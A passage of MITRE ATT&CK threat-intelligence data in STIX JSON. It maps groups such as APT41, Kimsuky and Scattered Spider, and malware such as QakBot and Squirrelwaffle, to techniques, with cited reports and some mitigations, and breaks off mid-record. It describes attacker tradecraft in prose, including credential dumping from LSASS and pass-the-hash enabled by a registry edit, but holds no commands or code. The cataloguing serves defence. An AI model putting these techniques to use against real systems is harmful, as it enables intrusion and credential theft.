2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--242f96c4-460f-49e6-80a9-79ea85348c2d","type":"relationship","created":"2020-10-20T15:47:55.188Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-15T01:54:15.657Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--243278fe-4f59-42f8-8c39-85a7d64f0fb1","created":"2024-05-22T22:13:49.553Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:13:49.553Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) used [Mimikatz](https://attack.mitre.org/software/S0002) to dump credentials from LSASS memory.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2440db47-5c7d-4f60-89e8-d5a6f19f0d0d","created":"2022-08-07T15:08:27.146Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Action RAT](https://attack.mitre.org/software/S1028) can use WMI to gather AV products installed on an infected host.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-15T20:28:15.280Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--36801ffb-5c85-4c50-9121-6122e389366d","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2443296f-a8fc-431d-9865-d68dd6142b37","created":"2023-09-27T19:45:40.574Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T19:46:17.790Z","description":"[NightClub](https://attack.mitre.org/software/S1090) has chosen file names to appear legitimate including EsetUpdate-0117583943.exe for its dropper.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2445349c-0bdb-40a7-acca-03f3908b1f35","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-20T21:14:12.095Z","description":"[KARAE](https://attack.mitre.org/software/S0215) was distributed through torrent file-sharing websites to South Korean victims, using a YouTube video downloader application as a lure.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2447ac98-019d-40a9-8913-c97d6eb93d90","type":"relationship","created":"2020-11-05T14:39:22.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-301A Kimsuky","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}],"modified":"2020-12-15T16:32:03.323Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has disguised services to appear as benign software or related to operating system functions.(Citation: CISA AA20-301A Kimsuky)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24503815-4ac5-4d57-9e95-ebeb84e0c11b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Daserf Nov 2017","description":"Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER’s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"},{"source_name":"Secureworks BRONZE BUTLER Oct 2017","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"}],"modified":"2020-03-16T16:40:40.353Z","description":"[Daserf](https://attack.mitre.org/software/S0187) can download remote files.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--24566f69-12b6-4703-86e2-bbf966ac5535","created":"2023-03-10T19:40:59.086Z","revoked":false,"external_references":[{"source_name":"NCC Group Black Basta June 2022","description":"Inman, R. and Gurney, P. (2022, June 6). Shining the Light on Black Basta. Retrieved March 8, 2023.","url":"https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-10T19:40:59.086Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can remotely create a temporary service on a target host.(Citation: NCC Group Black Basta June 2022)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24580154-43e3-4194-b840-d3c7924bc797","type":"relationship","created":"2022-03-04T18:56:38.961Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-08T20:58:13.597Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--bed04f7d-e48a-4e76-bd0f-4c57fe31fc46","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--245c2bf3-f630-4850-8fef-9580f5672b02","created":"2024-05-20T21:22:24.274Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T21:22:24.274Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) used a registry edit to enable a Windows feature called RestrictedAdmin in victim environments. This change allowed [Aquatic Panda](https://attack.mitre.org/groups/G0143) to leverage \"pass the hash\" mechanisms as the alteration allows for RDP connections with a valid account name and hash only, without possessing a cleartext password value.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--245ced0a-5a53-44bd-a4db-07451f752b14","created":"2022-10-17T19:30:53.083Z","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T19:30:53.083Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) used VBA scripts.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2463fa2a-0264-4287-a87b-3d4ada527ac5","created":"2023-09-19T20:11:19.676Z","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T20:11:19.676Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has used file names to mimic legitimate Windows files or system functionality.(Citation: Proofpoint TA2541 February 2022)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2466dc21-d32d-4a62-a815-8f1d5d09d88d","type":"relationship","created":"2020-03-18T19:39:07.453Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","source_name":"Rancor Unit42 June 2018"}],"modified":"2020-03-18T19:39:07.453Z","description":"[Rancor](https://attack.mitre.org/groups/G0075) has used VBS scripts as well as embedded macros for execution.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--246b5a38-8569-4145-af9a-0078f398e1d1","created":"2022-08-09T16:49:35.103Z","x_mitre_version":"0.1","external_references":[{"source_name":"ZScaler Squirrelwaffle Sep 2021","url":"https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike","description":"Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) has exfiltrated victim data using HTTP POST requests to its C2 servers.(Citation: ZScaler Squirrelwaffle Sep 2021)","modified":"2022-08-26T21:10:57.147Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--246e4d06-8646-4f9a-8d7c-1efd98fd11c1","type":"relationship","created":"2020-03-25T18:30:50.103Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-16T12:53:42.568Z","description":"Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--246e66e1-ddd2-4e51-b54c-1579f6ea1626","type":"relationship","created":"2021-02-22T14:32:48.528Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro TA505 Aug 2019","url":"https://www.trendmicro.com/en_us/research/19/h/ta505-at-it-again-variety-is-the-spice-of-servhelper-and-flawedammyy.html","description":"Trend Micro. (2019, August 27). TA505: Variety in Use of ServHelper and FlawedAmmyy. Retrieved February 22, 2021."}],"modified":"2021-02-22T14:32:48.528Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used .iso files to deploy malicious .lnk files.(Citation: TrendMicro TA505 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2479e29e-c1a3-4cc9-b059-b3e15ac44428","created":"2024-07-01T15:43:00.578Z","revoked":false,"external_references":[{"source_name":"apt41_dcsocytec_dec2022","description":"DCSO CyTec Blog. (2022, December 24). APT41 — The spy who failed to encrypt me. Retrieved June 13, 2024.","url":"https://medium.com/@DCSO_CyTec/apt41-the-spy-who-failed-to-encrypt-me-24fc0f49cad1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T15:43:00.579Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used [Impacket](https://attack.mitre.org/software/S0357) to dump LSA secrets on one of the domain controllers in the victim network.(Citation: apt41_dcsocytec_dec2022)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--247e3bf6-21c9-444e-81f7-a0e0f9eed04b","created":"2024-03-25T20:57:00.194Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T20:57:00.194Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) adds a federated identity provider to the victim’s SSO tenant and activates automatic account linking.(Citation: CISA Scattered Spider Advisory November 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2485b970-f934-4fdb-80a4-0e11c179845d","type":"relationship","created":"2019-01-30T15:47:41.417Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Lazarus Nov 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/","description":"Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."}],"modified":"2020-03-20T16:06:56.371Z","description":"[AuditCred](https://attack.mitre.org/software/S0347) can utilize proxy for communications.(Citation: TrendMicro Lazarus Nov 2018)","relationship_type":"uses","source_ref":"malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24879d15-1ec3-437c-bdc5-5b7ac46bb4f5","type":"relationship","created":"2019-03-18T14:05:57.715Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT40 March 2019","url":"https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html","description":"Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."}],"modified":"2021-10-04T12:22:40.203Z","description":"(Citation: FireEye APT40 March 2019)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"tool--242f3da3-4425-4d11-8f5c-b842886da966","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2488fee3-78ad-4ea6-b111-2d0c372b36d2","created":"2021-04-14T14:10:02.579Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-08T14:42:40.267Z","description":"Regularly update web browsers, password managers, and all related software to the latest versions. Keeping software up-to-date reduces the risk of vulnerabilities being exploited by attackers to extract stored credentials or session cookies.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--24892996-c220-4d25-92d8-7db597873090","created":"2022-10-11T19:18:15.522Z","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T19:18:15.522Z","description":"[Moses Staff](https://attack.mitre.org/groups/G1009) has collected the administrator username from a compromised host.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--4c4a7846-45d5-4761-8eea-725fa989914c","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--248a0d72-d9cd-43d3-985f-a33a49a79e8b","created":"2019-10-14T16:25:38.693Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Token tactics","description":"Microsoft Incident Response. (2022, November 16). Token tactics: How to prevent, detect, and respond to cloud token theft. Retrieved December 26, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/"},{"source_name":"Session Management Cheat Sheet","description":"OWASP CheatSheets Series Team. (n.d.). Session Management Cheat Sheet. Retrieved December 26, 2023.","url":"https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:25:14.226Z","description":"Configure browsers or tasks to regularly delete persistent cookies.\n\nAdditionally, minimize the length of time a web cookie is viable to potentially reduce the impact of stolen cookies while also increasing the needed frequency of cookie theft attempts – providing defenders with additional chances at detection.(Citation: Token tactics) For example, use non-persistent cookies to limit the duration a session ID will remain on the web client cache where an attacker could obtain it.(Citation: Session Management Cheat Sheet)","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--248b1bfc-5f9a-4f2c-ad6c-556045d9e83b","type":"relationship","created":"2019-04-23T13:43:22.925Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:48.957Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) contains modules for local privilege escalation exploits such as CVE-2016-9192 and CVE-2016-0099.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--24936948-7c46-4c12-a64f-4715ccfb6ffb","created":"2024-05-22T21:22:05.386Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T21:22:05.386Z","description":"[IPsec Helper](https://attack.mitre.org/software/S1132) can identify the process it is currently running under and its number, and pass this back to a command and control node.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--b5dc19b7-588d-403b-848d-c868bd61ffa1","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2496d1c4-cb04-40ab-9f9a-0102da3e6d77","type":"relationship","created":"2021-03-12T18:46:47.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-03-12T18:46:47.271Z","description":"[Sibot](https://attack.mitre.org/software/S0589) has been executed via a scheduled task.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--249897d9-131f-4cf8-93d7-cb20006a511d","created":"2021-04-07T14:10:22.268Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.837Z","description":"[Cobalt 